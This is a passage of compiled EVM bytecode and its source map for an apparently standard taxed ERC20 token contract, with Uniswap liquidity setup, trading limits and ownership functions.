526002602090815260408083203384529091529020549190611233565b610a01565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b0316146104e5575f80fd5b305f908152600160205260409020548015610503576105038161126b565b47801561051357610513816113db565b5050565b5f546001600160a01b031633146105495760405162461bcd60e51b8152600401610540906117f0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ba5760405162461bcd60e51b8152600401610540906117f0565b6105c66009600a6117cb565b6105d490631908b1006117d9565b6010556105e36009600a6117cb565b6105f190631908b1006117d9565b6011556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61062b6009600a6117cb565b61063990631908b1006117d9565b60405190815260200160405180910390a1565b5f610430338484610b24565b5f546001600160a01b031633146106815760405162461bcd60e51b8152600401610540906117f0565b601554600160a01b900460ff16156106db5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610540565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107249030906107166009600a6117cb565b6104b290631908b1006117d9565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610774573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107989190611825565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081b9190611825565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610865573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108899190611825565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306108d0816001600160a01b03165f9081526001602052604090205490565b5f806108e35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610949573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061096e9190611840565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e7919061186b565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610540565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610540565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610540565b6001600160a01b038216610bea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610540565b5f8111610c4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610540565b5f80546001600160a01b03858116911614801590610c7657505f546001600160a01b03848116911614155b156110e3576001600160a01b0384165f9081526004602052604090205460ff16158015610cbb57506001600160a01b0383165f9081526004602052604090205460ff16155b610cc3575f80fd5b610cef6064610ce9600c54600f5411610cde57600854610ce2565b600a545b8590611416565b9061149b565b60065490915060ff1615610dd5576014546001600160a01b03848116911614801590610d2957506015546001600160a01b03848116911614155b15610dd557325f908152600560205260409020544311610dc35760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610540565b325f9081526005602052604090204390555b6015546001600160a01b038581169116148015610e0057506014546001600160a01b03848116911614155b8015610e2457506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0a57601054821115610e7b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610540565b60115482610e9d856001600160a01b03165f9081526001602052604090205490565b610ea7919061188a565b1115610ef55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610540565b600f8054905f610f048361189d565b91905055505b6015546001600160a01b038481169116148015610f3057506001600160a01b0384163014155b15610f5d57610f5a6064610ce9600d54600f5411610f5057600954610ce2565b600b548590611416565b90505b6001600160a01b03831630148015610f76575060135482145b610f805781610fa8565b600e54305f9081526001602052604081208054909190610fa19084906117d9565b9250508190555b50601554600160a81b900460ff16158015610fd057506015546001600160a01b038481169116145b8015610fe55750601554600160b01b900460ff165b8015610ff45750601254600754115b801561104157506110256064610ce960286110116009600a6117cb565b61101f90631908b1006117d9565b90611416565b6015546001600160a01b03165f90815260016020526040902054105b156110e3575f61106c83611067600754611067600260135461149b90919063ffffffff16565b6114dc565b305f9081526001602052604081208054929350839290919061108f90849061188a565b9091555061109e90508161126b565b8060075f8282546110af91906118b5565b909155504790506702c68af0bb1400008111156110e0576110e06110db476702c68af0bb1400006114f0565b6113db565b50505b801561116e578060075f8282546110fa919061188a565b9091555050305f9081526001602081905260409091205461111a91611531565b305f8181526001602081815260409283902094909455905190815290916001600160a01b038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0384165f9081526001602052604090205461119090836114f0565b6001600160a01b0385165f908152600160205260409020556111d36111b583836114f0565b6001600160a01b0385165f9081526001602052604090205490611531565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61121c85856114f0565b60405190815260200160405180910390a350505050565b5f81848411156112565760405162461bcd60e51b815260040161054091906115bb565b505f61126284866118b5565b95945050505050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b1576112b16118c8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611308573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132c9190611825565b8160018151811061133f5761133f6118c8565b6001600160a01b0392831660209182029290920101526014546113659130911684610a01565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139d9085905f908690309042906004016118dc565b5f604051808303815f87803b1580156113b4575f80fd5b505af11580156113c6573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610513573d5f803e3d5ffd5b5f825f0361142557505f610434565b5f61143083856117d9565b90508261143d858361194b565b146114945760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610540565b9392505050565b5f61149483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061158f565b5f8183116114ea5782611494565b50919050565b5f61149483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611233565b5f8061153d838561188a565b9050838110156114945760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610540565b5f81836115af5760405162461bcd60e51b815260040161054091906115bb565b505f611262848661194b565b5f6020808352835180828501525f5b818110156115e6578581018301518582016040015282016115ca565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461161a575f80fd5b50565b5f806040838503121561162e575f80fd5b823561163981611606565b946020939093013593505050565b5f805f60608486031215611659575f80fd5b833561166481611606565b9250602084013561167481611606565b929592945050506040919091013590565b5f60208284031215611695575f80fd5b813561149481611606565b5f80604083850312156116b1575f80fd5b82356116bc81611606565b915060208301356116cc81611606565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172557815f190482111561170b5761170b6116d7565b8085161561171857918102915b93841c93908002906116f0565b509250929050565b5f8261173b57506001610434565b8161174757505f610434565b816001811461175d576002811461176757611783565b6001915050610434565b60ff841115611778576117786116d7565b50506001821b610434565b5060208310610133831016604e8410600b84101617156117a6575081810a610434565b6117b083836116eb565b805f19048211156117c3576117c36116d7565b029392505050565b5f61149460ff84168361172d565b8082028115828204841417610434576104346116d7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611835575f80fd5b815161149481611606565b5f805f60608486031215611852575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561187b575f80fd5b81518015158114611494575f80fd5b80820180821115610434576104346116d7565b5f600182016118ae576118ae6116d7565b5060010190565b81810381811115610434576104346116d7565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561192a5784516001600160a01b031683529383019391830191600101611905565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261196557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ef40cbda65166ba08cec5fda604aab0aa1325c21aa7d98db2c974791cd073ed64736f6c63430008140033

Deployed Bytecode Sourcemap

4419:8319:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6387:83;;;;;;;;;;-1:-1:-1;6457:5:0;;;;;;;;;;;;-1:-1:-1;;;6457:5:0;;;;6387:83;;;;;;;:::i;:::-;;;;;;;;7220:161;;;;;;;;;;-1:-1:-1;7220:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7220:161:0;1023:187:1;5662:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5662:51:0;1215:177:1;5724:41:0;;;;;;;;;;-1:-1:-1;5724:41:0;;;;-1:-1:-1;;;;;5724:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5724:41:0;1397:229:1;6664:95:0;;;;;;;;;;;;;:::i;7389:313::-;;;;;;;;;;-1:-1:-1;7389:313:0;;;;;:::i;:::-;;:::i;6573:83::-;;;;;;;;;;-1:-1:-1;6573:83:0;;5288:1;2234:36:1;;2222:2;2207:18;6573:83:0;2092:184:1;5772:28:0;;;;;;;;;;-1:-1:-1;5772:28:0;;;;-1:-1:-1;;;;;5772:28:0;;;12387:348;;;;;;;;;;;;;:::i;:::-;;6767:119;;;;;;;;;;-1:-1:-1;6767:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6860:18:0;6833:7;6860:18;;;:9;:18;;;;;;;6767:119;3500:148;;;;;;;;;;;;;:::i;11361:198::-;;;;;;;;;;;;;:::i;5477:53::-;;;;;;;;;;;;;;;;3286:79;;;;;;;;;;-1:-1:-1;3324:7:0;3351:6;-1:-1:-1;;;;;3351:6:0;3286:79;;5537:55;;;;;;;;;;;;;;;;6478:87;;;;;;;;;;-1:-1:-1;6550:7:0;;;;;;;;;;;;-1:-1:-1;;;6550:7:0;;;;6478:87;;6894:167;;;;;;;;;;-1:-1:-1;6894:167:0;;;;;:::i;:::-;;:::i;5599:56::-;;;;;;;;;;;;;;;;4804:40;;;;;;;;;;-1:-1:-1;4804:40:0;;;;;;;;11667:675;;;;;;;;;;;;;:::i;7069:143::-;;;;;;;;;;-1:-1:-1;7069:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7177:18:0;;;7150:7;7177:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7069:143;5807:23;;;;;;;;;;-1:-1:-1;5807:23:0;;;;-1:-1:-1;;;5807:23:0;;;;;;7220:161;7295:4;7312:39;1121:10;7335:7;7344:6;7312:8;:39::i;:::-;-1:-1:-1;7369:4:0;7220:161;;;;;:::o;6664:95::-;6717:7;5343:13;5288:1;5343:2;:13;:::i;:::-;5331:25;;:9;:25;:::i;:::-;6737:14;;6664:95;:::o;7389:313::-;7487:4;7504:36;7514:6;7522:9;7533:6;7504:9;:36::i;:::-;7551:121;7560:6;1121:10;7582:89;7620:6;7582:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7582:19:0;;;;;;:11;:19;;;;;;;;1121:10;7582:33;;;;;;;;;;:37;:89::i;:::-;7551:8;:121::i;:::-;-1:-1:-1;7690:4:0;7389:313;;;;;:::o;12387:348::-;12451:10;;;;;-1:-1:-1;;;;;12451:10:0;1121;-1:-1:-1;;;;;12437:24:0;;12429:33;;;;;;12512:4;12473:20;6860:18;;;:9;:18;;;;;;12532:14;;12529:73;;12560:30;12577:12;12560:16;:30::i;:::-;12631:21;12666:12;;12663:65;;12692:24;12705:10;12692:12;:24::i;:::-;12418:317;;12387:348::o;3500:148::-;3413:6;;-1:-1:-1;;;;;3413:6:0;1121:10;3413:22;3405:67;;;;-1:-1:-1;;;3405:67:0;;;;;;;:::i;:::-;;;;;;;;;3607:1:::1;3591:6:::0;;3570:40:::1;::::0;-1:-1:-1;;;;;3591:6:0;;::::1;::::0;3570:40:::1;::::0;3607:1;;3570:40:::1;3638:1;3621:19:::0;;-1:-1:-1;;;;;;3621:19:0::1;::::0;;3500:148::o;11361:198::-;3413:6;;-1:-1:-1;;;;;3413:6:0;1121:10;3413:22;3405:67;;;;-1:-1:-1;;;3405:67:0;;;;;;;:::i;:::-;5343:13:::1;5288:1;5343:2;:13;:::i;:::-;5331:25;::::0;:9:::1;:25;:::i;:::-;11414:12;:22:::0;5343:13:::1;5288:1;5343:2;:13;:::i;:::-;5331:25;::::0;:9:::1;:25;:::i;:::-;11447:14;:22:::0;11480:20:::1;:28:::0;;-1:-1:-1;;11480:28:0::1;::::0;;11524:27:::1;5343:13;5288:1;5343:2;:13;:::i;:::-;5331:25;::::0;:9:::1;:25;:::i;:::-;11524:27;::::0;1361:25:1;;;1349:2;1334:18;11524:27:0::1;;;;;;;11361:198::o:0;6894:167::-;6972:4;6989:42;1121:10;7013:9;7024:6;6989:9;:42::i;11667:675::-;3413:6;;-1:-1:-1;;;;;3413:6:0;1121:10;3413:22;3405:67;;;;-1:-1:-1;;;3405:67:0;;;;;;;:::i;:::-;11731:11:::1;::::0;-1:-1:-1;;;11731:11:0;::::1;;;11730:12;11722:47;;;::::0;-1:-1:-1;;;11722:47:0;;5385:2:1;11722:47:0::1;::::0;::::1;5367:21:1::0;5424:2;5404:18;;;5397:30;5463:25;5443:18;;;5436:53;5506:18;;11722:47:0::1;5183:347:1::0;11722:47:0::1;11780:15;:80:::0;;-1:-1:-1;;;;;;11780:80:0::1;11817:42;11780:80:::0;;::::1;::::0;;;11871:58:::1;::::0;11888:4:::1;::::0;5343:13:::1;5288:1;5343:2;:13;:::i;:::-;5331:25;::::0;:9:::1;:25;:::i;11871:58::-;11974:15;;;;;;;;;-1:-1:-1::0;;;;;11974:15:0::1;-1:-1:-1::0;;;;;11974:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11956:55:0::1;;12020:4;12027:15;;;;;;;;;-1:-1:-1::0;;;;;12027:15:0::1;-1:-1:-1::0;;;;;12027:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11956:94;::::0;-1:-1:-1;;;;;;11956:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6021:15:1;;;11956:94:0::1;::::0;::::1;6003:34:1::0;6073:15;;6053:18;;;6046:43;5938:18;;11956:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11940:13;:110:::0;;-1:-1:-1;;;;;11940:110:0;;::::1;-1:-1:-1::0;;;;;;11940:110:0;;::::1;;::::0;;12061:15:::1;::::0;::::1;:31;12100:21;12131:4;12138:24;12131:4:::0;-1:-1:-1;;;;;6860:18:0;6833:7;6860:18;;;:9;:18;;;;;;;6767:119;12138:24:::1;12163:1;12166::::0;12169:7:::1;3324::::0;3351:6;-1:-1:-1;;;;;3351:6:0;;3286:79;12169:7:::1;12061:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12061:133:0;;;-1:-1:-1;;;;;6459:15:1;;;12061:133:0::1;::::0;::::1;6441:34:1::0;6491:18;;;6484:34;;;;6534:18;;;6527:34;;;;6577:18;;;6570:34;6641:15;;;6620:19;;;6613:44;12178:15:0::1;6673:19:1::0;;;6666:35;6375:19;;12061:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12212:13:0::1;::::0;12243:15:::1;::::0;12205:71:::1;::::0;-1:-1:-1;;;12205:71:0;;-1:-1:-1;;;;;12243:15:0;;::::1;12205:71;::::0;::::1;7197:51:1::0;-1:-1:-1;;7264:18:1;;;7257:34;12212:13:0;::::1;::::0;-1:-1:-1;12205:29:0::1;::::0;7170:18:1;;12205:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12287:11:0::1;:18:::0;;-1:-1:-1;;;;12316:18:0;-1:-1:-1;;;12316:18:0;;;11667:675::o;7710:335::-;-1:-1:-1;;;;;7803:19:0;;7795:68;;;;-1:-1:-1;;;7795:68:0;;7786:2:1;7795:68:0;;;7768:21:1;7825:2;7805:18;;;7798:30;7864:34;7844:18;;;7837:62;-1:-1:-1;;;7915:18:1;;;7908:34;7959:19;;7795:68:0;7584:400:1;7795:68:0;-1:-1:-1;;;;;7882:21:0;;7874:68;;;;-1:-1:-1;;;7874:68:0;;8191:2:1;7874:68:0;;;8173:21:1;8230:2;8210:18;;;8203:30;8269:34;8249:18;;;8242:62;-1:-1:-1;;;8320:18:1;;;8313:32;8362:19;;7874:68:0;7989:398:1;7874:68:0;-1:-1:-1;;;;;7953:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8005:32;;1361:25:1;;;8005:32:0;;1334:18:1;8005:32:0;;;;;;;7710:335;;;:::o;8053:2703::-;-1:-1:-1;;;;;8141:18:0;;8133:68;;;;-1:-1:-1;;;8133:68:0;;8594:2:1;8133:68:0;;;8576:21:1;8633:2;8613:18;;;8606:30;8672:34;8652:18;;;8645:62;-1:-1:-1;;;8723:18:1;;;8716:35;8768:19;;8133:68:0;8392:401:1;8133:68:0;-1:-1:-1;;;;;8220:16:0;;8212:64;;;;-1:-1:-1;;;8212:64:0;;9000:2:1;8212:64:0;;;8982:21:1;9039:2;9019:18;;;9012:30;9078:34;9058:18;;;9051:62;-1:-1:-1;;;9129:18:1;;;9122:33;9172:19;;8212:64:0;8798:399:1;8212:64:0;8304:1;8295:6;:10;8287:64;;;;-1:-1:-1;;;8287:64:0;;9404:2:1;8287:64:0;;;9386:21:1;9443:2;9423:18;;;9416:30;9482:34;9462:18;;;9455:62;-1:-1:-1;;;9533:18:1;;;9526:39;9582:19;;8287:64:0;9202:405:1;8287:64:0;8362:17;3351:6;;-1:-1:-1;;;;;8396:15:0;;;3351:6;;8396:15;;;;:32;;-1:-1:-1;3324:7:0;3351:6;-1:-1:-1;;;;;8415:13:0;;;3351:6;;8415:13;;8396:32;8392:1987;;;-1:-1:-1;;;;;8454:10:0;;;;;;:4;:10;;;;;;;;8453:11;:24;;;;-1:-1:-1;;;;;;8469:8:0;;;;;;:4;:8;;;;;;;;8468:9;8453:24;8445:33;;;;;;8505:76;8577:3;8505:67;8527:15;;8517:9;;:25;8516:55;;8557:14;;8516:55;;;8544:12;;8516:55;8505:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8602:20;;8493:88;;-1:-1:-1;8602:20:0;;8598:508;;;8663:15;;-1:-1:-1;;;;;8649:30:0;;;8663:15;;8649:30;;;;:62;;-1:-1:-1;8697:13:0;;-1:-1:-1;;;;;8683:28:0;;;8697:13;;8683:28;;8649:62;8645:444;;;8803:9;8774:39;;;;:28;:39;;;;;;8847:12;-1:-1:-1;8738:250:0;;;;-1:-1:-1;;;8738:250:0;;9814:2:1;8738:250:0;;;9796:21:1;9853:2;9833:18;;;9826:30;9892:34;9872:18;;;9865:62;9963:34;9943:18;;;9936:62;-1:-1:-1;;;10014:19:1;;;10007:40;10064:19;;8738:250:0;9612:477:1;8738:250:0;9042:9;9013:39;;;;:28;:39;;;;;9055:12;9013:54;;8645:444;9134:13;;-1:-1:-1;;;;;9126:21:0;;;9134:13;;9126:21;:55;;;;-1:-1:-1;9165:15:0;;-1:-1:-1;;;;;9151:30:0;;;9165:15;;9151:30;;9126:55;:83;;;;-1:-1:-1;;;;;;9187:22:0;;;;;;:18;:22;;;;;;;;9185:24;9126:83;9122:313;;;9249:12;;9239:6;:22;;9231:60;;;;-1:-1:-1;;;9231:60:0;;10296:2:1;9231:60:0;;;10278:21:1;10335:2;10315:18;;;10308:30;10374:27;10354:18;;;10347:55;10419:18;;9231:60:0;10094:349:1;9231:60:0;9344:14;;9334:6;9318:13;9328:2;-1:-1:-1;;;;;6860:18:0;6833:7;6860:18;;;:9;:18;;;;;;;6767:119;9318:13;:22;;;;:::i;:::-;:40;;9310:79;;;;-1:-1:-1;;;9310:79:0;;10780:2:1;9310:79:0;;;10762:21:1;10819:2;10799:18;;;10792:30;10858:28;10838:18;;;10831:56;10904:18;;9310:79:0;10578:350:1;9310:79:0;9408:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9122:313;9460:13;;-1:-1:-1;;;;;9454:19:0;;;9460:13;;9454:19;:43;;;;-1:-1:-1;;;;;;9477:20:0;;9492:4;9477:20;;9454:43;9451:174;;;9530:79;9605:3;9530:70;9552:16;;9542:9;;:26;9541:58;;9584:15;;9541:58;;;9570:13;;9530:6;;:10;:70::i;:79::-;9518:91;;9451:174;-1:-1:-1;;;;;9639:19:0;;9653:4;9639:19;:44;;;;;9672:11;;9662:6;:21;9639:44;:101;;9734:6;9639:101;;;9713:18;;9703:4;9685:24;;;;:9;:24;;;;;:46;;:24;;;:46;;9713:18;;9685:46;:::i;:::-;;;;;;;9639:101;-1:-1:-1;9760:6:0;;-1:-1:-1;;;9760:6:0;;;;9759:7;:30;;;;-1:-1:-1;9776:13:0;;-1:-1:-1;;;;;9770:19:0;;;9776:13;;9770:19;9759:30;:45;;;;-1:-1:-1;9793:11:0;;-1:-1:-1;;;9793:11:0;;;;9759:45;:77;;;;;9819:17;;9808:10;;:28;9759:77;:141;;;;-1:-1:-1;9876:24:0;9896:3;9876:15;9888:2;5343:13;5288:1;5343:2;:13;:::i;:::-;5331:25;;:9;:25;:::i;:::-;9876:11;;:15::i;:24::-;9858:13;;-1:-1:-1;;;;;9858:13:0;6833:7;6860:18;;;:9;:18;;;;;;9840:60;9759:141;9755:613;;;9921:18;9942:46;9946:6;9953:34;9957:10;;9968:18;9984:1;9968:11;;:15;;:18;;;;:::i;:::-;9953:3;:34::i;9942:46::-;10008:4;9990:24;;;;:9;:24;;;;;:38;;9921:67;;-1:-1:-1;9921:67:0;;9990:24;;;:38;;9921:67;;9990:38;:::i;:::-;;;;-1:-1:-1;10047:28:0;;-1:-1:-1;10064:10:0;10047:16;:28::i;:::-;10091:10;10077;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;10149:21:0;;-1:-1:-1;10231:18:0;10210:39;;10207:146;;;10274:59;10287:45;:21;10313:18;10287:25;:45::i;:::-;10274:12;:59::i;:::-;9902:466;;9755:613;10394:11;;10391:172;;10422:9;10408:10;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;10487:4:0;10469:24;;;;10498:1;10469:24;;;;;;;;;:31;;:28;:31::i;:::-;10462:4;10444:24;;;;:9;:24;;;;;;;;;:56;;;;10519:32;;1361:25:1;;;10462:4:0;;-1:-1:-1;;;;;10519:32:0;;;;;1334:18:1;10519:32:0;;;;;;;10391:172;-1:-1:-1;;;;;10589:15:0;;;;;;:9;:15;;;;;;:27;;10609:6;10589:19;:27::i;:::-;-1:-1:-1;;;;;10573:15:0;;;;;;:9;:15;;;;;:43;10641:40;10659:21;:6;10670:9;10659:10;:21::i;:::-;-1:-1:-1;;;;;10641:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10627:13:0;;;;;;;:9;:13;;;;;:54;;;;10707:41;;;10726:21;:6;10737:9;10726:10;:21::i;:::-;10707:41;;1361:25:1;;;1349:2;1334:18;10707:41:0;;;;;;;8122:2634;8053:2703;;;:::o;2178:190::-;2264:7;2300:12;2292:6;;;;2284:29;;;;-1:-1:-1;;;2284:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2324:9:0;2336:5;2340:1;2336;:5;:::i;:::-;2324:17;2178:190;-1:-1:-1;;;;;2178:190:0:o;10870:483::-;5994:6;:13;;-1:-1:-1;;;;5994:13:0;-1:-1:-1;;;5994:13:0;;;10972:16:::1;::::0;;10986:1:::1;10972:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10972:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10972:16:0::1;10948:40;;11017:4;10999;11004:1;10999:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10999:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11043:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11043:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10999:7;;11043:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11033:4;11038:1;11033:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11033:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11108:15:::1;::::0;11076:62:::1;::::0;11093:4:::1;::::0;11108:15:::1;11126:11:::0;11076:8:::1;:62::i;:::-;11149:15;::::0;:196:::1;::::0;-1:-1:-1;;;11149:196:0;;-1:-1:-1;;;;;11149:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11230:11;;11149:15:::1;::::0;11272:4;;11299::::1;::::0;11319:15:::1;::::0;11149:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6030:6:0;:14;;-1:-1:-1;;;;6030:14:0;;;-1:-1:-1;;;;10870:483:0:o;11567:92::-;11624:10;;:27;;:10;;;;-1:-1:-1;;;;;11624:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;2376:246;2434:7;2458:1;2463;2458:6;2454:47;;-1:-1:-1;2488:1:0;2481:8;;2454:47;2511:9;2523:5;2527:1;2523;:5;:::i;:::-;2511:17;-1:-1:-1;2556:1:0;2547:5;2551:1;2511:17;2547:5;:::i;:::-;:10;2539:56;;;;-1:-1:-1;;;2539:56:0;;13069:2:1;2539:56:0;;;13051:21:1;13108:2;13088:18;;;13081:30;13147:34;13127:18;;;13120:62;-1:-1:-1;;;13198:18:1;;;13191:31;13239:19;;2539:56:0;12867:397:1;2539:56:0;2613:1;2376:246;-1:-1:-1;;;2376:246:0:o;2630:132::-;2688:7;2715:39;2719:1;2722;2715:39;;;;;;;;;;;;;;;;;:3;:39::i;10764:98::-;10821:7;10848:1;10846;:3;10845:9;;10853:1;10845:9;;;-1:-1:-1;10851:1:0;10764:98;-1:-1:-1;10764:98:0:o;2034:136::-;2092:7;2119:43;2123:1;2126;2119:43;;;;;;;;;;;;;;;;;:3;:43::i;1847:179::-;1905:7;;1937:5;1941:1;1937;:5;:::i;:::-;1925:17;;1966:1;1961;:6;;1953:46;;;;-1:-1:-1;;;1953:46:0;;13471:2:1;1953:46:0;;;13453:21:1;13510:2;13490:18;;;13483:30;13549:29;13529:18;;;13522:57;13596:18;;1953:46:0;13269:351:1;2770:189:0;2856:7;2891:12;2884:5;2876:28;;;;-1:-1:-1;;;2876:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2915:9:0;2927:5;2931:1;2927;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1